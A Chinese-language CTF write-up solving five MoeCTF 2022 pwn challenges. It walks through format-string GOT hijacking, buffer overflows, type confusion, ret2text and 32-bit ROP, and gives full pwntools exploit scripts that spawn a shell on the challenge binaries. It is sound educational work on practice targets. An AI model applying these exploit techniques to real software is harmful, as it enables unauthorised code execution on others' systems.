babyfmt [MoeCTF 2022]babyfmt
准备 32 位,保护全开
分析 main函数 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 int __cdecl __noreturn main(int argc, const char **argv, const char **envp) { char *s; // [esp+18h] [ebp-110h] char buf[256]; // [esp+1Ch] [ebp-10Ch] BYREF unsigned int v5; // [esp+11Ch] [ebp-Ch] v5 = __readgsdword(0x14u); setvbuf(stdin, 0, 2, 0); setvbuf(stdout, 0, 2, 0); setvbuf(stderr, 0, 2, 0); s = (char *)malloc(0x10u); sprintf(s, "%p", backdoor); printf("gift: %p\n", s); while ( 1 ) { memset(buf, 0, sizeof(buf)); read(0, buf, 0xFFu); printf(buf); } }
用 malloc
函数动态分配 16 字节的内存,并将分配的内存地址赋值给指针 s
然后用 sprintf
函数将 backdoor
函数的地址以十六进制格式存储在 s
指向的内存中,对 backdoor
函数的地址进行泄露 在下面的输入点,有格式化字符串漏洞,不限制输入次数
backdoor函数(后门函数) 1 2 3 4 int backdoor() { return system("/bin/sh"); }
直接的连接点 接着用printf函数打印backdoor函数的内存地址,输出格式为gift: 0xXXXXXX(s所指向的内存地址)。
思路: 有格式化字符串漏洞和直接的连接点,所以可以利用格式化字符串漏洞去劫持一个函数的 got
表为连接点地址,来获得 shell
先用 aaaa.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p
查看偏移(输入位置) 得到偏移为 11 这里选择劫持 read
函数的 got
表,直接构造 payload
1 2 3 4 5 backdoor=elf.sym['backdoor'] read_got=elf.got['read'] payload=fmtstr_payload(11,{read_got:backdoor}) io.sendline(payload)
脚本 1 2 3 4 5 6 7 8 9 10 11 12 from pwn import * context(os='linux',log_level = 'debug',arch='i386') io=remote('node5.anna.nssctf.cn',27002) # io=process('/home/motaly/pwn') elf=ELF('/home/motaly/pwn') backdoor=elf.sym['backdoor'] read_got=elf.got['read'] payload=fmtstr_payload(11,{read_got:backdoor}) io.sendline(payload) io.interactive()
buffer overflow [MoeCTF 2022]buffer overflow
准备 64 位,保护全开
分析 main函数 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 int __fastcall main(int argc, const char **argv, const char **envp) { _BYTE s[70]; // [rsp+0h] [rbp-A0h] BYREF char Limiter_and_Wings_are_handsome_boys_[82]; // [rsp+46h] [rbp-5Ah] BYREF unsigned __int64 v6; // [rsp+98h] [rbp-8h] v6 = __readfsqword(0x28u); memset(s, 0, 0x8CuLL); strcpy(Limiter_and_Wings_are_handsome_boys_, "Limiter and Wings are handsome boys!"); puts("Write down your note:"); read(0, s, 0x70uLL); sleep(1u); puts("This is my note:"); sleep(1u); puts(Limiter_and_Wings_are_handsome_boys_); sleep(1u); sleep(1u); if ( !strcmp(Limiter_and_Wings_are_handsome_boys_, ans) )// "Limiter and Wings are beautiful girls!" { puts("Wow they are really cute..."); sleep(1u); puts("And this is a gift for you^_^!"); sleep(1u); system("cat ./flag"); } else { puts("No, They are beautiful girls!"); sleep(1u); } return 0; }
开头用了 strcpy
函数把这句话 Limiter and Wings are handsome boys
复制到 Limiter_and_Wings_are_handsome_boys_
参数值 然后有一个输入,读取输入最大 112(0x70) 字节到 s
,看栈的距离 0xA0(160) 是没溢出到返回地址的 下面用 if
判断,比较参数 Limiter and Wings are handsome boys
和参数 ans
的内容是否相等 如果相等会执行 if
中的语句,有直接的连接点
思路: 这题有有直接的连接点,但需要修改参数 Limiter and Wings are handsome boys
内容 先去 ida
中查看栈情况
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 -00000000000000A0 // Use data definition commands to manipulate stack variables and arguments. -00000000000000A0 // Frame size: A0; Saved regs: 8; Purge: 0 -00000000000000A0 -00000000000000A0 _BYTE s; -000000000000009F // padding byte -000000000000009E // padding byte -000000000000009D // padding byte -000000000000009C // padding byte -000000000000009B // padding byte -000000000000009A // padding byte -0000000000000099 // padding byte -0000000000000098 // padding byte -0000000000000097 // padding byte -0000000000000096 // padding byte -0000000000000095 // padding byte -0000000000000094 // padding byte -0000000000000093 // padding byte -0000000000000092 // padding byte -0000000000000091 // padding byte -0000000000000090 // padding byte -000000000000008F // padding byte -000000000000008E // padding byte -000000000000008D // padding byte -000000000000008C // padding byte -000000000000008B // padding byte -000000000000008A // padding byte -0000000000000089 // padding byte -0000000000000088 // padding byte -0000000000000087 // padding byte -0000000000000086 // padding byte -0000000000000085 // padding byte -0000000000000084 // padding byte -0000000000000083 // padding byte -0000000000000082 // padding byte -0000000000000081 // padding byte -0000000000000080 // padding byte -000000000000007F // padding byte -000000000000007E // padding byte -000000000000007D // padding byte -000000000000007C // padding byte -000000000000007B // padding byte -000000000000007A // padding byte -0000000000000079 // padding byte -0000000000000078 // padding byte -0000000000000077 // padding byte -0000000000000076 // padding byte -0000000000000075 // padding byte -0000000000000074 // padding byte -0000000000000073 // padding byte -0000000000000072 // padding byte -0000000000000071 // padding byte -0000000000000070 // padding byte -000000000000006F // padding byte -000000000000006E // padding byte -000000000000006D // padding byte -000000000000006C // padding byte -000000000000006B // padding byte -000000000000006A // padding byte -0000000000000069 // padding byte -0000000000000068 // padding byte -0000000000000067 // padding byte -0000000000000066 // padding byte -0000000000000065 // padding byte -0000000000000064 // padding byte -0000000000000063 // padding byte -0000000000000062 // padding byte -0000000000000061 // padding byte -0000000000000060 // padding byte -000000000000005F // padding byte -000000000000005E // padding byte -000000000000005D // padding byte -000000000000005C // padding byte -000000000000005B // padding byte -000000000000005A char var_5A[82]; -0000000000000008 _QWORD var_8; +0000000000000000 _QWORD __saved_registers; +0000000000000008 _UNKNOWN *__return_address; +0000000000000010 +0000000000000010 // end of stack variables
这里输入点在这里 -00000000000000A0 _BYTE s;
参数 Limiter and Wings are handsome boys
在这里 -000000000000005A char var_5A[82];
两者间的距离是 0xA0-0x5A=0x46,可以进行覆盖 所以直接溢出覆盖到参数 Limiter and Wings are handsome boys
这里,修改它的内容
1 2 payload=b'a'*0x46+b'Limiter and Wings are beautiful girls!' io.sendafter(b"Write down your note:",payload)
(不用用 sendline
,不然影响它的对比)
脚本 1 2 3 4 5 6 7 8 9 from pwn import * context(os='linux',log_level = 'debug',arch='amd64') io=remote('node5.anna.nssctf.cn',25199) # io= process('/home/motaly/pwn') payload=b'a'*0x46+b'Limiter and Wings are beautiful girls!' io.sendafter(b"Write down your note:",payload) io.interactive()
endian [MoeCTF 2022]endian
准备 64 位,开了 NX
和 canary
保护
分析 main函数 1 2 3 4 5 6 7 8 9 10 11 12 13 14 int __fastcall main(int argc, const char **argv, const char **envp) { char s2[4]; // [rsp+10h] [rbp-10h] BYREF _BYTE v5[12]; // [rsp+14h] [rbp-Ch] BYREF *(_QWORD *)&v5[4] = __readfsqword(0x28u); setvbuf(stdin, 0LL, 2, 0LL); setvbuf(stdout, 0LL, 2, 0LL); setvbuf(stderr, 0LL, 2, 0LL); __isoc99_scanf("%d%d", s2, v5); if ( !strncmp("MikatoNB", s2, 8uLL) ) system("/bin/sh"); return 0; }
这里主要的是输入点处,这里的 s4
是大小为 4 的 char
数组类型,但输入处使用 %d
格式说明符读取 4 字节整数,会导致内存覆盖问题 (输入一个数据 1234
当正常设置情况下时
1 2 int s2[4]; scanf("%d", s2);
每一位放一个数字字符 结果会是这样子
1 2 3 4 s2[0]: 1 (第一个整数) s2[1]: 2 (第二个整数) s2[2]: 3 (第三个整数) s2[3]: 4 (第四个整数)
但现在这样子设置时,会把数据当作一个整体,读取它的第几个字节
1 2 3 4 s2[0]: 1234的第一个字节 s2[1]: 1234的第二个字节 s2[2]: 1234的第三个字节 s2[3]: 1234的第四个字节
) 同样的也往 v5
中写入 4 字节 下面用 if
判断,使用 strncmp
函数,比较 s2
开头的 8 个字符与 "MikatoNB"
是否相同 相同时获得直接的连接点
思路: 这题存在类型混淆漏洞,当比较的时候相同时,就能获得 shell
但这里 s2
大小是 4 字节,比较时确是 8 字节 所以在 ida
中看一下栈情况
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 -0000000000000020 // Use data definition commands to manipulate stack variables and arguments. -0000000000000020 // Frame size: 20; Saved regs: 8; Purge: 0 -0000000000000020 -0000000000000020 _QWORD var_20; -0000000000000018 // padding byte -0000000000000017 // padding byte -0000000000000016 // padding byte -0000000000000015 // padding byte -0000000000000014 _DWORD var_14; -0000000000000010 char s2; -000000000000000F // padding byte -000000000000000E // padding byte -000000000000000D // padding byte -000000000000000C // padding byte // v5 -000000000000000B // padding byte -000000000000000A // padding byte -0000000000000009 // padding byte -0000000000000008 _QWORD var_8; +0000000000000000 _QWORD __saved_registers; +0000000000000008 _UNKNOWN *__return_address; +0000000000000010 +0000000000000010 // end of stack variables
发现 v5
直接在 s2
下面, 是连续的 所以可以直接往 s2
中写入 4 字节,往 v5
中写入 4 字节,组成 8 字节的内容 往 s2
中写入 Mika
,转换成 ASCII
十六进制表示是 0x4D 0x69 0x6B 0x61
往 v5
中写入 toNB
,转换成 ASCII
十六进制表示是 0x74 0x6F 0x4E 0x42
因为是小端序程序,所以输入的两个整数是这样
1 2 3 4 5 6 7 from pwn import * context(os='linux',log_level = 'debug',arch='amd64') # io=remote('node5.anna.nssctf.cn',25899) io= process('/home/motaly/pwn') s2 = 0x616B694D v5 = 0x424E6F74
最后就是把这两个数进行发送
1 2 3 4 5 6 s2 = 0x616B694D v5 = 0x424E6F74 io.sendline(str(s2) + " " + str(v5)) # io.sendline(f"{s2} {v5}") io.interactive()
这里两个发送的方法都可以,两个数值间要加空格,因为读取两个整数,不加空格,会把两个数值当成一个来写
脚本 1 2 3 4 5 6 7 8 9 10 11 from pwn import * context(os='linux',log_level = 'debug',arch='amd64') # io=remote('node5.anna.nssctf.cn',25899) io= process('/home/motaly/pwn') s2 = 0x616B694D v5 = 0x424E6F74 io.sendline(str(s2) + " " + str(v5)) # io.sendline(f"{s2} {v5}") io.interactive()
ret2text [MoeCTF 2022]ret2text
准备 64 位,开了 NX
保护
分析 main函数 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 int __fastcall main(int argc, const char **argv, const char **envp) { unsigned int seed; // eax __int64 seed_1; // rdi int v5; // eax _BYTE buf[64]; // [rsp+0h] [rbp-40h] BYREF puts("I've prepared a gift for you, if you don't want to keep learning CET-4 words, find it out!"); seed = time(0LL); seed_1 = seed; srand(seed); v5 = rand(); ((void (__fastcall *)(__int64, const char **))learn[v5 % 100])(seed_1, argv); printf("Make a wish: "); read(0, buf, 0x64uLL); return 0; }
先一个提示语在四级单词中有一个礼物 下面一个输入点,读取输入最大 100(0x64) 个字节到 buf
,但 buf
大小为 64,所以存在缓冲区溢出
action函数(后门函数) 通过 ida
查看字符串窗口(快捷键:shift
加 F12
) 发现 /bin/sh
,点击进一步查看 发现在 action
函数中
1 2 3 4 int action() { return system("/bin/sh"); }
直接的连接点
思路: 这题有栈溢出,并且有后门函数给了直接的连接点,所以就是简单的 ret2text
(64 位栈溢出题) 先通过 ida
获得偏移量
1 2 3 4 5 6 7 8 -0000000000000040 // Use data definition commands to manipulate stack variables and arguments. -0000000000000040 // Frame size: 40; Saved regs: 8; Purge: 0 -0000000000000040 -0000000000000040 _BYTE buf[64]; +0000000000000000 _QWORD __saved_registers; +0000000000000008 _UNKNOWN *__return_address; +0000000000000010 +0000000000000010 // end of stack variables
偏移量为 0x40+8 然后通过 ida
查看 action
后门函数的地址 得到 action
后门函数的地址为 0x4014BA 因为是 64 位程序,所以还要考虑堆栈平衡,这里通过 ROPgadget
指令获得填充值 ret
根据这信息直接构造 payload
1 2 3 4 5 6 sh=0x4014BA ret=0x40101a io.recvuntil(b'Make a wish:') payload=b'a'*(0x40+8)+p64(ret)+p64(sh) io.sendline(payload)
脚本 1 2 3 4 5 6 7 8 9 10 11 12 13 from pwn import * context(os='linux',log_level = 'debug',arch='amd64') io=remote('node5.anna.nssctf.cn',27695) # io=process('/home/motaly/pwn') sh=0x4014BA ret=0x40101a io.recvuntil(b'Make a wish:') payload=b'a'*(0x40+8)+p64(ret)+p64(sh) io.sendline(payload) io.interactive()
rop32 [MoeCTF 2022]rop32
知识点:call
指令 概念:call
指令是汇编语言中用于实现子程序(函数)调用的核心指令,主要功能是将程序控制权转移到子程序,并在子程序执行完毕后返回原调用点继续执行。 流程:
保存返回地址:call
指令会先将当前指令的下一条指令地址(返回地址)压入栈中
跳转到子程序:将子程序的起始地址加载到指令指针寄存器(如 EIP
/IP
)
执行子程序:CPU
开始顺序执行子程序中的指令
返回原程序:子程序通过 RET 指令弹出栈中保存的返回地址到指令指针寄存器
准备 32 位,开了 NX
保护
分析 main函数 1 2 3 4 5 6 int __cdecl main(int argc, const char **argv, const char **envp) { system("echo Go Go Go!!!\n"); vuln(&argc); return 0; }
开头用了 system
函数输出语句 下面有一个 vuln
函数
vuln函数 1 2 3 4 5 6 ssize_t vuln() { _BYTE buf[24]; // [esp+Ch] [ebp-1Ch] BYREF return read(0, buf, 0x28u); }
读取输入最大 40(0x28) 个字节到 buf
,但 buf
大小为 24,所以存在缓冲区溢出
思路: 这题有栈溢出和 system
函数 先去 ida
的字符串窗口看看有没有 '/bin/sh'
(到字符串窗口的快捷键一般是 shift+F12
) 存在 '/bin/sh'
点击进一步得到 '/bin/sh'
的地址为 0x804C024 接下来是偏移量 但是需要注意的是这里的溢出位数 这里光看读取最大输入是 40,buf
大小为 24,有足够的可以写空间 但这样子是错的,这里具体的偏移量是 0x1C+4(32) ,才到返回地址我们写入 system
地址 这样子我们能写入的只有 8 字节,用以往正常溢出的方法,payload
需要 12 字节是不够的payload=b'a'*28+p32(system)+p32(0)+p32(sh)
( p32(0)
是占位符,承接 system
函数的返回地址,当 system
执行完毕后,程序会尝试跳转到地址 0x00000000
,这会触发错误,但在此之前,shell
已经被成功弹出,攻击已达成目标。) 这里我们直接用shell函数中汇编 call system
语句的地址 (调用 system()
函数执行命令) (利用 call
指令自动压栈的特性:call
会自动将当前指令的下一条指令地址(返回地址,这里的 sh
地址)压入栈中) ( call
指令直接把 sh
地址压入栈中, system
从栈中获取参数(即 sh
),当 system
执行完后,会执行 ret
指令,ret
会弹出栈顶的值(即 sh
),并跳转到该地址执行虽然会报错,但已经执行了 shell
) (所以这里我们不用加 p32(0)
这个值,给的 p32(sh)
既是 system
返回地址,在 call
指令下还是 system
的参数) 这个地址作为返回地址,调用 system
函数,然后我们直接把 sh
的地址当参数给他就能获得连接
1 2 3 4 5 6 sh=0x804C024 system=0x80491E7 io.recvuntil(b'Go Go Go!!!') payload=b'a'*(0x1c+4)+p32(system)+p32(sh) io.sendline(payload)
脚本 1 2 3 4 5 6 7 8 9 10 11 12 13 from pwn import * context.log_level = "debug" io=remote('node5.anna.nssctf.cn',28436) # io= process('/home/motaly/rop') sh=0x804C024 system=0x80491E7 io.recvuntil(b'Go Go Go!!!') payload=b'a'*(0x1c+4)+p32(system)+p32(sh) io.sendline(payload) io.interactive()